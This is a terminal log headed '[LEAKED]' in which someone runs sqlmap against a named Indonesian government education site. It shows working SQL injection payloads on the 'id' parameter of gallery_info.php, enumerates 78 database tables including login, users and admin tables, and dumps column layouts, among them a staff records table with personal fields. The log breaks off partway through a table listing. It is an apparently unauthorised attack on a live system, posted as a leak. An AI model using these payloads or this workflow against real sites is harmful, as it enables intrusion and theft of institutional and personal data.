[LEAKED] http://dev2.kopertis7.go.id

root@yukinoshita47:~# sqlmap -u http://dev2.kopertis7.go.id/gallery_info.php?id=35 --dbs

    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 12:27:52

[12:27:53] [INFO] testing connection to the target URL
[12:27:54] [INFO] testing if the target URL is stable. This can take a couple of seconds
[12:27:56] [ERROR] there was an error checking the stability of page because of lack of content. Please check the page request results (and probable errors) by using higher verbosity levels
[12:27:56] [INFO] testing if GET parameter 'id' is dynamic
[12:27:56] [WARNING] GET parameter 'id' does not appear dynamic
[12:27:56] [INFO] heuristics detected web page charset 'ascii'
[12:27:56] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[12:27:56] [INFO] testing for SQL injection on GET parameter 'id'
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] y
[12:28:11] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[12:28:34] [WARNING] reflective value(s) found and filtering out
[12:28:39] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[12:28:54] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[12:29:09] [INFO] testing 'MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)'
[12:29:17] [INFO] GET parameter 'id' seems to be 'MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)' injectable
[12:29:17] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[12:29:17] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable
[12:29:17] [INFO] testing 'MySQL inline queries'
[12:29:17] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[12:29:17] [CRITICAL] there is considerable lagging in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more)
[12:29:18] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[12:29:19] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[12:29:20] [INFO] testing 'MySQL > 5.0.11 AND time-based blind (comment)'
[12:29:20] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (heavy query)'
[12:29:22] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (heavy query - comment)'
[12:29:24] [INFO] testing 'MySQL > 5.0.11 OR time-based blind'
[12:30:24] [INFO] GET parameter 'id' seems to be 'MySQL > 5.0.11 OR time-based blind' injectable
[12:30:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[12:30:24] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[12:30:25] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[12:30:26] [INFO] target URL appears to have 4 columns in query
[12:30:29] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection points with a total of 81 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
    Payload: id=35' RLIKE (SELECT (CASE WHEN (3725=3725) THEN 35 ELSE 0x28 END)) AND 'GfNs'='GfNs

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=35' AND (SELECT 6217 FROM(SELECT COUNT(*),CONCAT(0x71616a6471,(SELECT (CASE WHEN (6217=6217) THEN 1 ELSE 0 END)),0x7166686d71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'lXbB'='lXbB

    Type: UNION query
    Title: MySQL UNION query (NULL) - 4 columns
    Payload: id=35' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x71616a6471,0x74596d52717950594f66,0x7166686d71)#

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 OR time-based blind
    Payload: id=-3732' OR 7990=SLEEP(5) AND 'nddB'='nddB
---
[12:30:37] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0
[12:30:37] [INFO] fetching database names
available databases [2]:
[*] information_schema
[*] kopertisdb

[12:30:37] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/dev2.kopertis7.go.id'

[*] shutting down at 12:30:37

root@yukinoshita47:~# sqlmap -u http://dev2.kopertis7.go.id/gallery_info.php?id=35 -D kopertisdb --table

    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 12:31:19

[12:31:20] [INFO] resuming back-end DBMS 'mysql'
[12:31:20] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
    Payload: id=35' RLIKE (SELECT (CASE WHEN (3725=3725) THEN 35 ELSE 0x28 END)) AND 'GfNs'='GfNs

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=35' AND (SELECT 6217 FROM(SELECT COUNT(*),CONCAT(0x71616a6471,(SELECT (CASE WHEN (6217=6217) THEN 1 ELSE 0 END)),0x7166686d71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'lXbB'='lXbB

    Type: UNION query
    Title: MySQL UNION query (NULL) - 4 columns
    Payload: id=35' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x71616a6471,0x74596d52717950594f66,0x7166686d71)#

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 OR time-based blind
    Payload: id=-3732' OR 7990=SLEEP(5) AND 'nddB'='nddB
---
[12:31:20] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0
[12:31:21] [INFO] fetching tables for database: 'kopertisdb'
[12:31:21] [INFO] heuristics detected web page charset 'ascii'
Database: kopertisdb
[78 tables]
+-----------------------------+
| anak                        |
| aturan                      |
| bagian                      |
| berita                      |
| berita_jurnal               |
| buku_tamu                   |
| datapts                     |
| departemen                  |
| dpk                         |
| fungsi                      |
| gallery                     |
| info_jurnal                 |
| jurnal                      |
| karyawan                    |
| kedudukan_dan_tugas         |
| kegiatan                    |
| kopertis_admin              |
| kopertis_agenda             |
| kopertis_berita             |
| kopertis_beritakategori     |
| kopertis_bukutamu           |
| kopertis_dok_berita         |
| kopertis_dok_infolayan      |
| kopertis_dok_materi         |
| kopertis_forkom1            |
| kopertis_forkom2            |
| kopertis_infokhusus         |
| kopertis_infokhususkategori |
| kopertis_infolayan          |
| kopertis_link               |
| kopertis_materi             |
| kopertis_perpustakaan       |
| kopertis_pts                |
| kopertis_pts1               |
| kopertis_seputar            |
| kopertis_wilayah            |
| kopertis_wilayahkategori    |
| korpri                      |
| layanan                     |
| login                       |
| materi                      |
| mspts                       |
| mspts_d2                    |
| mspts_old                   |
| mstpns                      |
| ortu                        |
| panduan                     |
| pengaduan                   |
| pengumuman                  |
| pengunjung                  |
| peraturan                   |
| psmspst                     |
| psmspst_d                   |
| psmspst_d_020614            |
| psmspst_d_120116            |
| psmspst_old                 |
| pts                         |
| reg_laporan                 |
| rekap                       |
| rekapijin                   |
| rekapitulasi                |
| rekapjmlps                  |
| sambutan                    |
| sejarah                     |
| statistik                   |
| struktur_organisasi         |
| tb_akreditasi               |
| tb_akreditasi_2016          |
| tb_dokumen                  |
| tb_wisudawan                |
| tbl_akta_yys                |
| tbl_user                    |
| tbpimmspst                  |
| tbpimmspst_130116           |
| users                       |
| visi_misi                   |
| yayasan                     |
| yayasan_d                   |
+-----------------------------+

[12:31:21] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/dev2.kopertis7.go.id'

[*] shutting down at 12:31:21

root@yukinoshita47:~# sqlmap -u http://dev2.kopertis7.go.id/gallery_info.php?id=35 -D kopertisdb --columns

    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 12:32:03

[12:32:03] [INFO] resuming back-end DBMS 'mysql'
[12:32:03] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
    Payload: id=35' RLIKE (SELECT (CASE WHEN (3725=3725) THEN 35 ELSE 0x28 END)) AND 'GfNs'='GfNs

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=35' AND (SELECT 6217 FROM(SELECT COUNT(*),CONCAT(0x71616a6471,(SELECT (CASE WHEN (6217=6217) THEN 1 ELSE 0 END)),0x7166686d71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'lXbB'='lXbB

    Type: UNION query
    Title: MySQL UNION query (NULL) - 4 columns
    Payload: id=35' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x71616a6471,0x74596d52717950594f66,0x7166686d71)#

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 OR time-based blind
    Payload: id=-3732' OR 7990=SLEEP(5) AND 'nddB'='nddB
---
[12:32:04] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0
[12:32:04] [INFO] fetching tables for database: 'kopertisdb'
[12:32:04] [INFO] fetching columns for table 'korpri' in database 'kopertisdb'
[12:32:04] [INFO] heuristics detected web page charset 'ascii'
[12:32:04] [INFO] fetching columns for table 'kopertis_berita' in database 'kopertisdb'
[12:32:05] [INFO] fetching columns for table 'tb_dokumen' in database 'kopertisdb'
[12:32:05] [INFO] fetching columns for table 'reg_laporan' in database 'kopertisdb'
[12:32:06] [INFO] fetching columns for table 'kopertis_infokhusus' in database 'kopertisdb'
[12:32:06] [INFO] fetching columns for table 'kopertis_agenda' in database 'kopertisdb'
[12:32:06] [INFO] fetching columns for table 'mspts_old' in database 'kopertisdb'
[12:32:07] [INFO] fetching columns for table 'kopertis_pts' in database 'kopertisdb'
[12:32:07] [INFO] fetching columns for table 'kegiatan' in database 'kopertisdb'
[12:32:08] [INFO] fetching columns for table 'kopertis_dok_berita' in database 'kopertisdb'
[12:32:11] [INFO] fetching columns for table 'kedudukan_dan_tugas' in database 'kopertisdb'
[12:32:11] [INFO] fetching columns for table 'kopertis_wilayahkategori' in database 'kopertisdb'
[12:32:13] [INFO] fetching columns for table 'mstpns' in database 'kopertisdb'
[12:32:17] [INFO] fetching columns for table 'ortu' in database 'kopertisdb'
[12:32:17] [INFO] fetching columns for table 'psmspst_d_020614' in database 'kopertisdb'
[12:32:25] [INFO] fetching columns for table 'pts' in database 'kopertisdb'
[12:32:26] [INFO] fetching columns for table 'kopertis_dok_materi' in database 'kopertisdb'
[12:32:27] [INFO] fetching columns for table 'departemen' in database 'kopertisdb'
[12:32:28] [INFO] fetching columns for table 'datapts' in database 'kopertisdb'
[12:32:29] [INFO] fetching columns for table 'tbl_akta_yys' in database 'kopertisdb'
[12:32:30] [INFO] fetching columns for table 'kopertis_perpustakaan' in database 'kopertisdb'
[12:32:31] [INFO] fetching columns for table 'layanan' in database 'kopertisdb'
[12:32:31] [INFO] fetching columns for table 'jurnal' in database 'kopertisdb'
[12:32:33] [INFO] fetching columns for table 'mspts' in database 'kopertisdb'
[12:32:34] [INFO] fetching columns for table 'info_jurnal' in database 'kopertisdb'
[12:32:35] [INFO] fetching columns for table 'materi' in database 'kopertisdb'
[12:32:36] [INFO] fetching columns for table 'struktur_organisasi' in database 'kopertisdb'
[12:32:36] [INFO] fetching columns for table 'berita_jurnal' in database 'kopertisdb'
[12:32:37] [INFO] fetching columns for table 'yayasan_d' in database 'kopertisdb'
[12:32:38] [INFO] fetching columns for table 'sambutan' in database 'kopertisdb'
[12:32:38] [INFO] fetching columns for table 'tbl_user' in database 'kopertisdb'
[12:32:39] [INFO] fetching columns for table 'kopertis_infokhususkategori' in database 'kopertisdb'
[12:32:40] [INFO] fetching columns for table 'kopertis_materi' in database 'kopertisdb'
[12:32:41] [INFO] fetching columns for table 'psmspst_d' in database 'kopertisdb'
[12:32:41] [INFO] fetching columns for table 'tb_akreditasi' in database 'kopertisdb'
[12:32:42] [INFO] fetching columns for table 'statistik' in database 'kopertisdb'
[12:32:43] [INFO] fetching columns for table 'bagian' in database 'kopertisdb'
[12:32:44] [INFO] fetching columns for table 'aturan' in database 'kopertisdb'
[12:32:44] [INFO] fetching columns for table 'kopertis_admin' in database 'kopertisdb'
[12:32:45] [INFO] fetching columns for table 'visi_misi' in database 'kopertisdb'
[12:32:46] [INFO] fetching columns for table 'rekapjmlps' in database 'kopertisdb'
[12:32:46] [INFO] fetching columns for table 'tb_akreditasi_2016' in database 'kopertisdb'
[12:32:51] [INFO] fetching columns for table 'kopertis_infolayan' in database 'kopertisdb'
[12:32:53] [INFO] fetching columns for table 'kopertis_link' in database 'kopertisdb'
[12:32:54] [INFO] fetching columns for table 'yayasan' in database 'kopertisdb'
[12:32:54] [INFO] fetching columns for table 'tb_wisudawan' in database 'kopertisdb'
[12:32:55] [INFO] fetching columns for table 'pengumuman' in database 'kopertisdb'
[12:32:56] [INFO] fetching columns for table 'buku_tamu' in database 'kopertisdb'
[12:32:57] [INFO] fetching columns for table 'kopertis_dok_infolayan' in database 'kopertisdb'
[12:32:58] [INFO] fetching columns for table 'psmspst_old' in database 'kopertisdb'
[12:32:58] [INFO] fetching columns for table 'rekapijin' in database 'kopertisdb'
[12:32:59] [INFO] fetching columns for table 'kopertis_seputar' in database 'kopertisdb'
[12:33:00] [INFO] fetching columns for table 'pengaduan' in database 'kopertisdb'
[12:33:00] [INFO] fetching columns for table 'kopertis_wilayah' in database 'kopertisdb'
[12:33:01] [INFO] fetching columns for table 'kopertis_beritakategori' in database 'kopertisdb'
[12:33:02] [INFO] fetching columns for table 'psmspst' in database 'kopertisdb'
[12:33:02] [INFO] fetching columns for table 'rekap' in database 'kopertisdb'
[12:33:02] [INFO] fetching columns for table 'gallery' in database 'kopertisdb'
[12:33:03] [INFO] fetching columns for table 'kopertis_bukutamu' in database 'kopertisdb'
[12:33:04] [INFO] fetching columns for table 'users' in database 'kopertisdb'
[12:33:05] [INFO] fetching columns for table 'psmspst_d_120116' in database 'kopertisdb'
[12:33:06] [INFO] fetching columns for table 'tbpimmspst' in database 'kopertisdb'
[12:33:07] [INFO] fetching columns for table 'sejarah' in database 'kopertisdb'
[12:33:07] [INFO] fetching columns for table 'panduan' in database 'kopertisdb'
[12:33:08] [INFO] fetching columns for table 'tbpimmspst_130116' in database 'kopertisdb'
[12:33:09] [INFO] fetching columns for table 'fungsi' in database 'kopertisdb'
[12:33:09] [INFO] fetching columns for table 'kopertis_forkom2' in database 'kopertisdb'
[12:33:10] [INFO] fetching columns for table 'rekapitulasi' in database 'kopertisdb'
[12:33:11] [INFO] fetching columns for table 'karyawan' in database 'kopertisdb'
[12:33:11] [INFO] fetching columns for table 'pengunjung' in database 'kopertisdb'
[12:33:12] [INFO] fetching columns for table 'mspts_d2' in database 'kopertisdb'
[12:33:12] [INFO] fetching columns for table 'berita' in database 'kopertisdb'
[12:33:13] [INFO] fetching columns for table 'kopertis_pts1' in database 'kopertisdb'
[12:33:14] [INFO] fetching columns for table 'kopertis_forkom1' in database 'kopertisdb'
[12:33:15] [INFO] fetching columns for table 'login' in database 'kopertisdb'
[12:33:15] [INFO] fetching columns for table 'peraturan' in database 'kopertisdb'
[12:33:16] [INFO] fetching columns for table 'dpk' in database 'kopertisdb'
[12:33:17] [INFO] fetching columns for table 'anak' in database 'kopertisdb'
Database: kopertisdb
Table: korpri
[9 columns]
+----------------+--------------+
| Column         | Type         |
+----------------+--------------+
| APPROVE        | varchar(1)   |
| id_bagian      | int(11)      |
| ID_BERITA      | int(11)      |
| ID_KARYAWAN    | varchar(10)  |
| ISI_BERITA     | longtext     |
| JUDUL_BERITA   | varchar(200) |
| JUDUL_POTO     | varchar(200) |
| TANGGAL_BERITA | datetime     |
| upload         | varchar(250) |
+----------------+--------------+

Database: kopertisdb
Table: mspts_d2
[17 columns]
+------------+--------------+
| Column     | Type         |
+------------+--------------+
| akhir_aki  | varchar(10)  |
| ALAMAT     | varchar(71)  |
| AlamatP    | varchar(150) |
| email      | varchar(50)  |
| FaxPTS     | varchar(25)  |
| KDPTIMSPST | int(6)       |
| keterangan | varchar(100) |
| KOTAAMSPST | varchar(11)  |
| laman      | varchar(80)  |
| NMPTIMSPST | varchar(50)  |
| no_aki     | varchar(50)  |
| peri_aki   | varchar(2)   |
| PIMPINAN   | varchar(100) |
| STATUS     | varchar(10)  |
| TELP       | varchar(29)  |
| Telpp      | varchar(30)  |
| tgl_aki    | varchar(10)  |
+------------+--------------+

Database: kopertisdb
Table: kopertis_berita
[8 columns]
+------------+--------------+
| Column     | Type         |
+------------+--------------+
| alamat_dok | varchar(128) |
| berita     | text         |
| headlines  | text         |
| id         | int(11)      |
| idcat      | tinyint(4)   |
| image      | varchar(100) |
| judul      | varchar(175) |
| tgl        | date         |
+------------+--------------+

Database: kopertisdb
Table: reg_laporan
[7 columns]
+--------+--------------+
| Column | Type         |
+--------+--------------+
| ajukan | int(1)       |
| idreg  | varchar(16)  |
| kdpti  | varchar(7)   |
| status | int(1)       |
| Tema   | varchar(255) |
| tgl    | varchar(10)  |
| valid  | int(11)      |
+--------+--------------+

Database: kopertisdb
Table: kopertis_infokhusus
[6 columns]
+--------+--------------+
| Column | Type         |
+--------+--------------+
| data   | varchar(150) |
| id     | tinyint(4)   |
| idcat  | tinyint(4)   |
| isi    | varchar(50)  |
| judul  | varchar(150) |
| tgl    | date         |
+--------+--------------+

Database: kopertisdb
Table: kopertis_agenda
[4 columns]
+--------+--------------+
| Column | Type         |
+--------+--------------+
| agenda | text         |
| id     | tinyint(4)   |
| judul  | varchar(175) |
| tgl    | date         |
+--------+--------------+

Database: kopertisdb
Table: mspts_old
[7 columns]
+------------+-------------+
| Column     | Type        |
+------------+-------------+
| ALAMAT     | varchar(71) |
| KDPTIMSPST | varchar(6)  |
| KOTAAMSPST | varchar(11) |
| NMPTIMSPST | varchar(50) |
| PIMPINAN   | varchar(10) |
| STATUS     | varchar(10) |
| TELP       | varchar(29) |
+------------+-------------+

Database: kopertisdb
Table: kopertis_pts
[44 columns]
+-------------+--------------+
| Column      | Type         |
+-------------+--------------+
| TGL INSERT  | date         |
| alamat      | varchar(255) |
| alamat1     | varchar(255) |
| ALMPP       | varchar(255) |
| AlmtKetYYs  | varchar(255) |
| Email       | varchar(255) |
| fax         | varchar(255) |
| fax1        | varchar(255) |
| IndukKetYYs | varchar(255) |
| INDUKPP     | varchar(255) |
| JENJANG     | varchar(255) |
| KDJENMSPST  | varchar(255) |
| KDPSTMSPST  | varchar(255) |
| KDPTIMSPST  | varchar(255) |
| KDSTAMSPST  | varchar(255) |
| kodearea    | varchar(255) |
| kodearea1   | varchar(255) |
| kota        | varchar(255) |
| KotaKetYYs  | varchar(255) |
| KOTAPP      | varchar(255) |
| kotapts     | varchar(255) |
| NamaKetYYs  | varchar(255) |
| NAMAPTS     | varchar(255) |
| NMPP        | varchar(255) |
| NMPSTMSPST  | varchar(255) |
| NOMBAMSPST  | varchar(255) |
| NOMSKMSPST  | varchar(255) |
| NOSKPP      | varchar(255) |
| PENDPP      | varchar(255) |
| STATUSAKR   | varchar(255) |
| telp1       | varchar(255) |
| telp11      | varchar(255) |
| telp12      | varchar(255) |
| telp13      | varchar(255) |
| TELPPP      | varchar(255) |
| TGLABMSPST  | date         |
| TGLAKMSPST  | date         |
| TGLBAMSPST  | date         |
| tglberdiri  | date         |
| TGLSKMSPST  | date         |
| TGLSKPP     | date         |
| TlpKetYYs   | varchar(255) |
| Website     | varchar(255) |
| yayasan     | varchar(255) |
+-------------+--------------+

Database: kopertisdb
Table: kegiatan
[8 columns]
+------------------+--------------+
| Column           | Type         |
+------------------+--------------+
| id_bagian        | int(11)      |
| ID_KARYAWAN      | varchar(9)   |
| ID_KEGIATAN      | int(11)      |
| ISI_KEGIATAN     | longtext     |
| JUDUL_KEGIATAN   | varchar(200) |
| JUDUL_POTO       | varchar(200) |
| TANGGAL_KEGIATAN | datetime     |
| upload           | varchar(250) |
+------------------+--------------+

Database: kopertisdb
Table: kopertis_dok_berita
[4 columns]
+------------+--------------+
| Column     | Type         |
+------------+--------------+
| alamat_dok | varchar(128) |
| id         | int(11)      |
| id_berita  | int(11)      |
| label_dok  | varchar(128) |
+------------+--------------+

Database: kopertisdb
Table: kedudukan_dan_tugas
[3 columns]
+-------------------------+----------+
| Column                  | Type     |
+-------------------------+----------+
| id_kt                   | int(11)  |
| isi_kedudukan_dan_tugas | longtext |
| tanggal_edit            | datetime |
+-------------------------+----------+

Database: kopertisdb
Table: kopertis_wilayahkategori
[2 columns]
+--------+-------------+
| Column | Type        |
+--------+-------------+
| idkat  | tinyint(4)  |
| nama   | varchar(50) |
+--------+-------------+

Database: kopertisdb
Table: mstpns
[90 columns]
+------------+--------------+
| Column     | Type         |
+------------+--------------+
| ALAMAT     | char(70)     |
| D3         | char(40)     |
| D4         | char(40)     |
| GOL        | char(5)      |
| HP         | char(14)     |
| KDAGAMA    | char(1)      |
| KDDUDUK    | char(2)      |
| KDGOL      | char(2)      |
| KDJAB      | char(5)      |
| KDKELAMIN  | char(1)      |
| KDPTI      | char(6)      |
| KOTA       | char(20)     |
| KOTA_ALMT  | char(15)     |
| KTPEN      | char(50)     |
| KUM        | decimal(7,2) |
| NIDN       | char(10)     |
| NIP        | char(9)      |
| NIP_BARU   | char(18)     |
| NMPEG      | char(50)     |
| NMPTS      | char(45)     |
| NOSK_3A    | char(30)     |
| NOSK_3B    | char(30)     |
| NOSK_3C    | char(30)     |
| NOSK_3D    | char(30)     |
| NOSK_4A    | char(30)     |
| NOSK_4B    | char(30)     |
| NOSK_4C    | char(30)     |
| NOSK_4D    | char(30)     |
| NOSK_4E    | char(30)     |
| NOSK_AA    | char(30)     |
| NOSK_CP    | char(25)     |
| NOSK_GUBES | char(30)     |
| NOSK_LEK   | char(30)     |
| NOSK_LK    | char(30)     |
| NOSK_PN    | char(25)     |
| PENSIUN    | decimal(2,0) |
| PRODI_D3   | char(40)     |
| PRODI_D4   | char(40)     |
| PRODI_S1   | char(40)     |
| PRODI_S1A  | char(40)     |
| PRODI_S2   | char(40)     |
| PRODI_S2A  | char(40)     |
| PRODI_S3   | char(40)     |
| S1         | char(40)     |
| S1A        | char(40)     |
| S2         | char(40)     |
| S2A        | char(40)     |
| S3         | char(40)     |
| STAT       | char(1)      |
| TELP       | char(15)     |
| TEMPATLHR  | char(30)     |
| TGL_PENS   | datetime     |
| TGLLHR     | datetime     |
| TGLSK_3A   | datetime     |
| TGLSK_3B   | datetime     |
| TGLSK_3C   | datetime     |
| TGLSK_3D   | datetime     |
| TGLSK_4A   | datetime     |
| TGLSK_4B   | datetime     |
| TGLSK_4C   | datetime     |
| TGLSK_4D   | datetime     |
| TGLSK_4E   | datetime     |
| TGLSK_AA   | datetime     |
| TGLSK_LEK  | datetime     |
| TGLSK_LK   | datetime     |
| TGSK_CP    | datetime     |
| TGSK_GUBES | datetime     |
| TGSK_PN    | datetime     |
| THLLS_D3   | char(4)      |
| THLLS_D4   | char(4)      |
| THLLS_S1   | char(4)      |
| THLLS_S1A  | char(4)      |
| THLLS_S2   | char(4)      |
| THLLS_S2A  | char(4)      |
| THLLS_S3   | char(4)      |
| TMT_AA     | datetime     |
| TMT_CP     | datetime     |
| TMT_GUBES  | datetime     |
| TMT_LEK    | datetime     |
| TMT_LK     | datetime     |
| TMT_PN     | datetime     |
| TMTSK_3A   | datetime     |
| TMTSK_3B   | datetime     |
| TMTSK_3C   | datetime     |
| TMTSK_3D   | datetime     |
| TMTSK_4A   | datetime     |
| TMTSK_4B   | datetime     |
| TMTSK_4C   | datetime     |
| TMTSK_4D   | datetime     |
| TMTSK_4E   | datetime     |
+------------+--------------+

Database: kopertisdb
Table: kopertis_pts1
[11 columns]
+------------+--------------+
| Column     | Type         |
+------------+--------------+
| alamat     | varchar(100) |
| JENJANG    | varchar(100) |
| KDPTIMSPST | varchar(100) |
| KDSTAMSPST | varchar(100) |
| kota       | varchar(100) |
| NAMAPTS    | varchar(100) |
| NMPSTMSPST | varchar(100) |
| TGL_INSERT | date         |
| TGLAKMSPST | date         |
| TGLSKMSPST | date         |
| Website    | varchar(100) |
+------------+--------------+

Database: kopertisdb
Table: pts
[2 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| ID_PTS   | int(11)     |
| NAMA_PTS | varchar(50) |
+----------+-------------+

Database: kopertisdb
Table: kopertis_beritakategori
[2 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| idkat    | tinyint(4)  |
| kategori | varchar(20) |
+----------+-------------+

Database: kopertisdb
Table: departemen
[2 columns]
+-----------------+--------------+
| Column          | Type         |
+-----------------+--------------+
| ID_DEPARTEMEN   | int(11)      |
| NAMA_DEPARTEMEN | varchar(100) |
+-----------------+--------------+

Database: kopertisdb
Table: datapts
[14 columns]
+------------------+--------------+
| Column           | Type         |
+------------------+--------------+
| JENJANG          | varchar(150) |
| KDBILMSPST       | varchar(150) |
| KDSTAMSPST       | varchar(150) |
| KODE_PS          | varchar(150) |
| KODE_PT          | varchar(150) |
| KOTA             | varchar(150) |
| NMBILMSPST       | varchar(150) |
| NOMBAMSPST       | varchar(150) |
| NOMSKMSPST       | varchar(150) |
| PERGURUAN_TINGGI | varchar(150) |
| PROGRAM_STUDI    | varchar(150) |
| TGLABMSPST       | varchar(150) |
| TGLAKMSPST       | varchar(150) |
| TGLSKMSPST       | varchar(150) |
+------------------+--------------+

Database: kopertisdb
Table: kopertis_perpustakaan
[8 columns]
+------------+--------------+
| Column     | Type         |
+------------+--------------+
| id         | int(5)       |
| image      | varchar(100) |
| judul      | varchar(175) |
| jumlah     | int(15)      |
| pengarang  | text         |
| sekilas    | text         |
| tgl        | date         |
| thn_terbit | varchar(254) |
+------------+--------------+

Database: kopertisdb
Table: jurnal
[12 columns]
+-----------------------+--------------+
| Column                | Type         |
+-----------------------+--------------+
| ABSTRAKSI             | longtext     |
| BULAN_TAHUN_JURNAL    | date         |
| id_bagian             | int(11)      |
| ID_JURNAL             | int(11)      |
| ID_KARYAWAN           | varchar(9)   |
| JUDUL_PENELITIAN      | varchar(900) |
| nama_file             | varchar(250) |
| NAMA_JURNAL           | varchar(250) |
| NOMOR_JURNAL          | int(11)      |
| PENGARANG             | varchar(900) |
| TANGGAL_UPLOAD_JURNAL | datetime     |
| VOLUME_JURNAL         | int(11)      |
+-----------------------+--------------+

Database: kopertisdb
Table: mspts
[18 columns]
+------------+--------------+
| Column     | Type         |
+------------+--------------+
| akhir_aki  | varchar(10)  |
| ALAMAT     | varchar(71)  |
| AlamatP    | varchar(150) |
| email      | varchar(50)  |
| FaxPTS     | varchar(25)  |
| KDPTIMSPST | int(6)       |
| keterangan | varchar(100) |
| KOTAAMSPST | varchar(11)  |
| laman      | varchar(80)  |
| NMPTIMSPST | varchar(50)  |
| no_aki     | varchar(50)  |
| peri_aki   | varchar(2)   |
| PIMPINAN   | varchar(100) |
| pppts      | int(1)       |
| STATUS     | varchar(10)  |
| TELP       | varchar(29)  |
| Telpp      | varchar(30)  |
| tgl_aki    | varchar(10)  |
+------------+--------------+

Database: kopertisdb
Table: info_jurnal
[7 columns]
+-------------+--------------+
| Column      | Type         |
+-------------+--------------+
| id_bagian   | int(11)      |
| ID_JURNAL   | int(11)      |
| ID_KARYAWAN | int(11)      |
| NAMA_JURNAL | varchar(64)  |
| PENULIS     | varchar(256) |
| STATUS      | tinyint(1)   |
| TGL_MASUK   | date         |
+-------------+--------------+

Database: kopertisdb
Table: psmspst_old
[19 columns]
+------------+-------------+
| Column     | Type        |
+------------+-------------+
| KDFAKMSPST | varchar(10) |
| KDJENMSPST | varchar(1)  |
| KDPSTMSPST | int(5)      |
| KDPTIMSPST | varchar(6)  |
| KODSKMSPST | varchar(10) |
| KOTAAMSPST | varchar(11) |
| NMPSTMSPST | varchar(47) |
| NMPTIMSPST | varchar(50) |
| NOBAN      | varchar(4)  |
| NOMSKMSPST | varchar(20) |
| PERINGKAT  | varchar(16) |
| SK_AWAL    | varchar(20) |
| SMAWLMSPST | varchar(10) |
| STATUMSPST | varchar(10) |
| TGAWLMSPST | varchar(10) |
| TGLAKMSPST | varchar(10) |
| TGLSKMSPST | varchar(10) |
| THNBAN     | varchar(10) |
| THNSK      | varchar(4)  |
+------------+-------------+

Database: kopertisdb
Table: struktur_organisasi
[3 columns]
+--------------+----------+
| Column       | Type     |
+--------------+----------+
| id_so        | int(11)  |
| isi_struktur | longtext |
| tanggal_edit | datetime |
+--------------+----------+

Database: kopertisdb
Table: berita_jurnal
[8 columns]
+----------------+--------------+
